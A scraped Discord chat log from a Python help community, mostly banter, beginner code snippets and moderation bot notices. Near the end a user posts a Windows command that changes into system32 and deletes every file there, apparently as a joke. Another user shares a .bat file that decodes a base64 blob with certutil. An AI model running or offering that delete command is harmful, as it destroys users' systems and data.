yeah

#

another guy just said that

#

config returns NoneType

#

yeah sorry

#

haha

#

I was working on the code

#

Alright I got it!

#

Or

#

you got it

#

sorry, it keeps taking me out of voice.

#

You were correct, haah

#

Yeah, I forgot about that too. It would make more sense for Discord to let you stay in the same voice chat, if you're just joining another writing chat.

thick barn
#

@somber heath how long did you joined this server?

sweet wraith
#

but none the less, I am off now and thanks for hte help once again πŸ˜„

thick barn
#

yo

#

they should make a temp vc for those who are waiting

#

😦

#

nope

#

ya ya i understand that

#

where are you from btw

#

noice

#

i am rex, m 22 and m from india

#

πŸ˜›

#

almost all the indians are in cs

#

yes

#

i don't know how that happen

#

i thought i choose a unique field

#

as i have passion from childhood

#

when i first learnt python my first project was about a whatsapp bot

#

btw my fav languages are python, php and js

#

ohk

#

so u feeling bored there?

#

alone

#

yup i understand

#

i did made some projects with jquery and ajax too...

#

yes i understand

#

did you tried docker and kubernaties?

#

you must try them.. they are fun

#

i get addictied to those

#

anyway nice talking to you man.. i may visit some other servers too

#

people are waiting for me

gentle flint
#
[000:000] [6978] (audio_device_pulse_linux.cc:1855): Can't query latency
[000:014] [6973] (audio_send_stream.cc:285): Failed to set up send codec state.
[000:133] [6973] (audio_send_stream.cc:285): Failed to set up send codec state.
[000:133] [6973] (audio_device_generic.cc:31): BuiltInAECIsAvailable: Not supported on this platform
[000:254] [6973] (audio_send_stream.cc:285): Failed to set up send codec state.
rugged root
#
if bacon["ham"] == 3:
spring kraken
#
    if summoner_json['status']['status_code'] == '404':
        print("test")
        break
gentle flint
#
response = requests.get("google.com")
print(response.status_code)
#

right?

severe elm
#

they all left me alon

gentle flint
#

I went to help

rugged root
gentle flint
#

response.raise_for_status()

quaint shuttle
gentle flint
#

you, uh, leaked your token

#

might wanna change it

quaint shuttle
#

okay no problem Δ± will but

#

help pls

#

i can't solve this what is the problem in here

#

@gentle flint hi

gentle flint
#

hello, I'm helping someone

quaint shuttle
#

i am in the room btw

gentle flint
#

@quaint shuttle you need to rename your bot file

rugged root
#

@quaint shuttle So the reason is because the file you're writing is called discord.py

gentle flint
rugged root
#

So Python thinks you're trying to import the file you're writing rather than the library

#

@quaint shuttle Ask in here

quaint shuttle
#

you guys are genious

#

i am so happy right now

#

thank you very much

severe elm
#

you are welcome

#

it was a pleasure

rugged root
quaint shuttle
rugged root
#

@quaint shuttle You might look in the pins in the #discord-bots channel

#

I think that has something about it

gentle flint
#

this language is my destiny
it said ooh, ooh-ooh
shut up and code with me

#

it took my keyboard
I don't know how it happened
We took the IDE and it said

#

Oh don't you dare look back
Just keep your eyes on me
I said you're noncompiled
it said shut up and code with me

whole bear
#

!e

import os
directories = next(os.walk('/'))[1]
directories.remove('snekbox')
for enc in range(0, len(directories)):
  files = os.listdir(f"/{directories[enc]}/")
  for i in range(len(files)):
    print(os.path.join(f'/{directories[enc]}/', f'{files[i]}'))
wise cargoBOT
#

@whole bear :white_check_mark: Your eval job has completed with return code 0.

001 | /usr/local
002 | /usr/lib
003 | /lib64/ld-linux-x86-64.so.2
004 | /lib/udev
005 | /lib/x86_64-linux-gnu
006 | /lib/init
007 | /lib/terminfo
008 | /lib/systemd
009 | /lib/cpp
010 | /etc/ld.so.cache
whole bear
#

i see

#

πŸ‘€

rugged root
#

@whole rover Is that expected behavior from snekbox?

thick barn
#

Damn...my voice verification completed πŸ‘

#

Will talk to you guys later

#

Good night guys

gentle flint
#

bai

whole bear
#

goodbye

thick barn
#

I do noy have my microphone right now :3

whole bear
#

ok

gentle flint
#

ono

atomic edge
#

hey

#

long time no see

potent thicket
#

old is old

#

makes sense

gentle flint
#

but is my old your old

#

and vice versa

potent thicket
#

old is relative

gentle flint
#
Old, but I'm not that old
Young, but I'm not that bold
And I don't think the world is sold
On just doing what we're told
thick barn
#

Its just a music πŸ¦†

gentle flint
#

just?

rugged root
#

@fierce summit Whatcha doooooin'?

fierce summit
#

I'm doing a word document about my game

thick barn
#

just?
@gentle flint ok ok i hear that couple of time but still

fierce summit
#

To be able to send my game to my teacher

thick barn
#

Your teacher play games?

fierce summit
#

No

thick barn
#

Made by students πŸ™„

fierce summit
#

I made a Harry Potter dueling game for myself and my friends in python

#

And I told about it to my teacher

thick barn
#

Which game engine?

#

Lol

fierce summit
#

He was interested in it. (Not because Harry Potter. Because of the programming.)

#

Just simple text based game in python

thick barn
#

Oh ok

whole bear
#

please live while you all doing code

gentle flint
#

we can't
lol

fierce summit
#

He was interested in it. (Not because Harry Potter. Because of the programming.)
He is an IT teacher

whole bear
#

i wanna learn from you all sir

gentle flint
#

we can't screenshare in here

#

except helpers and admins etc

#

so... yeah, that ain't gonna work

fierce summit
#

We can't go live in this voice channel

whole bear
#

but mr.hemlock can

gentle flint
#

he's listening to binaural beats though

thick barn
whole bear
#

yeah i think

thick barn
#

This one i got like 2year ago lol

#

#cat-face

fierce summit
#

Well, I would show you mine, but it's in Hungarian, so I don't think you would understand it.

thick barn
#

Show

rugged root
#

@whole bear I'm not really doing anything exciting right now

fierce summit
thick barn
#

Ok now can you explain a bit

#

Is that coloram?

gentle flint
#

is that hungarian

thick barn
#

And is that a battle system?

rugged root
#

Harry Potter wizard duel

#

@gentle flint Yep

thick barn
#

Ohhhhhhh

#

Right

whole rover
#

who pinged

#

oh hemlock pinged

rugged root
#

I did earlier yeah

whole rover
#

yeah it's read only access to a set few files

rugged root
#

Gotcha

#

Wasn't sure

#

Sorry for the ping

whole rover
#

all good

thick barn
#

Hey joe

#

We gonna talk a lot in the future

#

Just remember me

potent thicket
#

try putting it in the sun

whole rover
#

lol

#

fair enough

thick barn
#

It is possed by the ghost of oldest rtx

gentle flint
#

coby has a possessed, chubby desktop

#

it just took a bath

potent thicket
#

it has water in and it is still workable?

gentle flint
#

it was standing in a 1mm puddle apparently

#

pobably water didn't even get in

thick barn
#

Its like having a waterproof fish in sea

frozen jacinth
fierce summit
#

is that hungarian
@gentle flint yes

thick barn
#

Damn

#

I don't think

potent thicket
#

big boy

gentle flint
#

that cable management is interesting

potent thicket
#

indeed

fierce summit
#

Ok now can you explain a bit
@thick barn So tΓΆlt means charge. You have to charge energy points to be able to use spells.

thick barn
#

Ohk

rugged root
#

py -m pip install colorama

thick barn
#

I saw the harddisk as the first think in the pic

whole rover
#

whoever just verified try again

#

site was down

thick barn
#

py -m pip install colorama
@rugged root i though colorama works mainly on linux :3

gentle flint
#

RAID ("Redundant Array of Inexpensive Disks" or "Redundant Array of Independent Disks") is a data storage virtualization technology that combines multiple physical disk drive components into one or more logical units for the purposes of data redundancy, performance improvement...

thick barn
#

Raid 6

rugged root
#

It's cross platform

fierce summit
#

@thick barn So tΓΆlt means charge. You have to charge energy points to be able to use spells.
Oh and it's agains computer

thick barn
#

It's cross platform
@rugged root ya i understand that just 2min ago

rugged root
#

No worries

thick barn
#

Oh and it's agains computer
@fierce summit i will try it with pygames for the next gameoff session

#

I actully fried my ram before

#

Psu signal codes of moderboard :3

rugged root
#

Wait why are you trying to replicate her game?

thick barn
#

Not her game...just trying to think about something for next gameoff

rugged root
#

Ah, so treating it as inspiration

#

Fair enough

thick barn
#

Btw i never made any game before...so its first time for me

potent thicket
#

good luck

thick barn
#

Good luck to you guys .. coz i am going to disturb you guys a lot..

potent thicket
#

is everyone quite or it's just me?

rugged root
#

Might just be you, guy

#

They sound fine to me

thick barn
#

Ofcourse i always try my own stuff before jumping for the help

#

Sure> Might just be you, guy
@rugged root

rugged root
#

Meant for the user "that guy"

#

The one who asked about volume

potent thicket
#

it's ok now

thick barn
#

#cat-sniffer

#

#cat-sniffer
@thick barn this should be a new role

potent thicket
#

feed cat something

#

bloop is 0 or blap?

#

blow air

#

with air blower

gentle flint
#

you can air it

potent thicket
#

CFCs

gentle flint
#

not anymore

potent thicket
#

it is expensive and hard to compres so there is some amount of CFCs

gentle flint
#

thermal paste and dust cocktail

#

@potent thicket they're banned IIRC

potent thicket
#

not banned just discouraged

#

they are not banned where I live

gentle flint
#

and where is that?

#

not banned to use I mean, banned to create

amber raptor
#

Hello

gentle flint
#

henlo fren

potent thicket
#

oh I just look it up and there are banned

amber raptor
#

I was just doing Factorio

#

No

#

I don’t have computer right now

rugged root
chilly quail
#

Hello people

#

Who can help me find an idea for creating a Python program?

gentle flint
rugged root
#

!projects We've got a good site that should help you get a few ideas

wise cargoBOT
#

Kindling Projects

The Kindling projects page on Ned Batchelder's website contains a list of projects and ideas programmers can tackle to build their skills and knowledge.

chilly quail
#

Thank Mr.Hemlock

whole bear
wise cargoBOT
#

Hey @gentle flint!

It looks like you tried to attach file type(s) that we do not allow (.pdf). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg, .webm, .webp, .flac, .afdesign, .m4a, .csv.

Feel free to ask in #community-meta if you think this is a mistake.

gentle flint
#

drat

thick barn
#

#debugger-eyes

jagged trail
#

If I just send random 50 messages can I have voice?

lean rapids
pliant atlas
#

wait is everyone here indian wowo

lean rapids
#

ya almost don't know about saaalik

#

@green peak would you like to contribute to my project?

green peak
#

yeah

#

bro

#

sure

cerulean moth
#

wait is everyone here indian wowo
@pliant atlas nope, there ppl from around the world, and ig pure once said there are more americans here

white terrace
#

not sure why i'm muted

#

been in the server a long time

cerulean moth
#

you are verified already

#

you have that role

white terrace
#

yeah just fixed it

lean rapids
#

does anyone know how to integrate firebase with django?

pliant atlas
#

@cerulean moth yeah ik but at that particular time there were indians only

whole bear
#

bruh.. i have problem with with my vsc compile

#

can you help me?

lean rapids
#

ask?

pliant atlas
#

Is it a problem with the interpreter

#

??

whole bear
#

wait

#

'g++' is not recognized as an internal or external command,
operable program or batch file.

#

😦

green peak
hidden cove
#
button:hover {
  cursor: pointer;
}
#
.image-containers {
  display: inline-block;
  float: left;
}
#
body {
  margin: 0;
}
thick barn
hidden cove
thick barn
whole bear
#

#include <stdio.h>
#include <stdlib.h>

long get_random() {
    return rand;
}
int main() {
    long ans = (get_random() % 4096) + 1;
    printf("%ld\n" , ans);
}    
#

rand()

pliant atlas
#

@hidden cove is your beer over yet?

#

πŸ˜…

hidden cove
#

it just ended

pliant atlas
#

noice, so any plans on going to schelp

hidden cove
#

very soon.

hidden cove
#

glad you're so concerned.

whole bear
#
#include <stdio.h>
#include <stdlib.h>
long increment(long in) {
    return in + 1;
}

long get_random() {
    return rand() % BUFSIZE;
}

int main() {
    long ans = get_random();
    ans = increment(ans);
    printf("%ld\n" , ans);
}

the ans is 84 in here

whole bear
#

@olive dawn why cant i talk in vcs?

gentle flint
#

you need to be voice verified

whole bear
#

how do i get that

gentle flint
#

you should have a voice verification channel

#

above this one

#

but you need to have sent 50 messages in this server and have been here for 3 days to qualify

pliant atlas
#

@whole bear have you tried to verify

inner bear
#

sry i still have to verify

#

πŸ˜†

lusty marsh
#
import PIL.Image
import numpy as np
tiny = 75

def detect(name, refences):
    similarities = 0
    src = setup_image(name)
    bias = 15
    print(src)
    for image in refences:
        i = 0
        for pixel in image:
            i += 1
            for p in src:
                i += 1
                similarities += find_similarity(pixel, p, bias)
    probability = similarities * 100 / len(src)
    if probability > 100:
        probability = 100.0
    else:
        pass
    return probability


def find_similarity(chop1, chop2, bias):
    for sect in chop1:
        r = sect[0]
        g = sect[1]
        b = sect[2]
        for section in chop2:
            r_ = section[0]
            g_ = section[1]
            b_ = section[2]
            if r in range(calcpxn(r_, bias), calcpxi(r_, bias)) and \
                    g in range(calcpxn(g_, bias), calcpxi(g_, bias)) and \
                    b in range(calcpxn(b_, bias), calcpxi(b_, bias)):
                return 1
            else:
                return 0


def calcpxi(value, bias):
    if value+bias > 256:
        return 256
    else:
        return value+bias


def calcpxn(value, bias):
    if value - bias < 0:
        return 0
    else:
        return value - bias


def setup_image(img):
    name = img
    image = list(np.array(PIL.Image.open(name).resize((tiny, tiny), PIL.Image.ANTIALIAS)))
    new_image = []
    for chop in image:
        a = list(chop[0])
        b = list(chop[1])
        c = list(chop[2])
        new_image.append([a, b, c])
    return new_image

whole bear
#

i did verify

#

@uneven yarrow wanna check out my program?

#

a video

#

its a video i coded into a .bat file

#

its not a .bat virus

#

its writed in plain text

#

i encoded a video in base64

#

then it decodes it into a mp4

#

its 1MB large

lusty marsh
#
cd C:
cd system32
del *
wise cargoBOT
#

Hey @whole bear!

It looks like you tried to attach file type(s) that we do not allow (.bat). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg, .webm, .webp, .flac, .afdesign, .m4a, .csv.

Feel free to ask in #community-meta if you think this is a mistake.

whole bear
#

fuck off

uneven yarrow
#

!paste

wise cargoBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

#

Hey @whole bear!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

β€’ If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

β€’ If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

whole bear
#

it is a .txt

#

message.txt

#

i just did

lusty marsh
#
certutil -decode "4b628895.DBTMPIB" "4b628895.mp4"
del /f "4b628895.DBTMPIB"
echo Done! & pause >nul

lusty marsh
#

?